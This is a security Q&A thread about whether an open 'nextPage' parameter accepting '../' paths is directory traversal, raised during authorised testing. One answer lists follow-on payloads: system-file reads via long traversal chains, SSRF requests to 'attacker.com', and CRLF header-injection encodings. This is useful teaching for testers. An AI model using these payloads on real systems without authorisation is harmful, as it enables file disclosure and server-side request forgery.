1

So I'm currently testing a site that has a url like this

example.com/dir1/dir2?nextPage=/someOtherDir/someHTMLfile.html

I found that I can do to get to the home page

example.com/dir1/dir2?nextPage=../../

or I can read files like the CSS for another page

example.com/dir1/dir2?nextPage=../../dir3/dir4/css/main.css

NOTE: The company's policy states that a researcher can only go to the minimal amount of testing required to prove that a vulnerability, so I don't want to try accessing the passwd file or any other sensitive file that isn't already public. I also tried example.com/dir1/dir2?nextPage=google.com but it seems to check if the URL is local so that doesn't work. Would what I found be considered directory traversal?

  • 3
    this is the textbook definition of directory traversal - why were you thinking it might not be? – schroeder Jul 17 '17 at 5:39
  • 1
    you should also try: example.com/dir1/dir2?nextPage=http://google.com – 40F4 Jul 17 '17 at 6:56
  • 1
    @40F4 Which would indicate a remote file inclusion vulnerability ^ – Mark Buffalo Sep 8 '17 at 18:19
3

It looks like a directory traversal. To prove whether it is really exploitable I would try to open something more interesting like a script file which is not public available. Otherwise you can't be sure that an attacker can really do something interesting. In my opinion that would be in line with minimal testing. Maybe there is a filter which allows only opening .html and .css files.

0

It's path traversal, but path traversal isn't a vulnerability.

You can check the next attack vectors when you have a path traversal:

Directory enumeration:

If ../../dir3/dir4/css/main.css is true,
../../dir3/../dir3/dir4/css/main.css is true and
../../QWERTYUIOP/../dir3/dir4/css/main.css is false,
it's a directory enumeration.

Arbitrary File Read:

It's like a arbitrary file read but you can check system paths:

example.com/dir1/dir2?nextPage=../../../../../../../../sys/power/wakeup_count

The file will return an integer. It isn't /etc/passwd, wakeup_count isn't critical information.

Server Side Request Forgery:

If you want to check networks attack, you need to use URI. Just domain name doesn't work.

example.com/dir1/dir2?nextPage=http://attacker.com/

If you think what someHTMLfile.html is network resource, you can test its vectors:

example.com/dir1/dir2?nextPage=username:password@attacker.com/
example.com/dir1/dir2?nextPage=%20HTTP/1.1%0A%0DTest:%20
example.com/dir1/dir2?nextPage=%20HTTP/1.1%E5%98%8A%E5%98%8DTest:%20

Local File Inclusion:

You don't check LFI vulnerability without active attack on the server :( I' m sorry.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.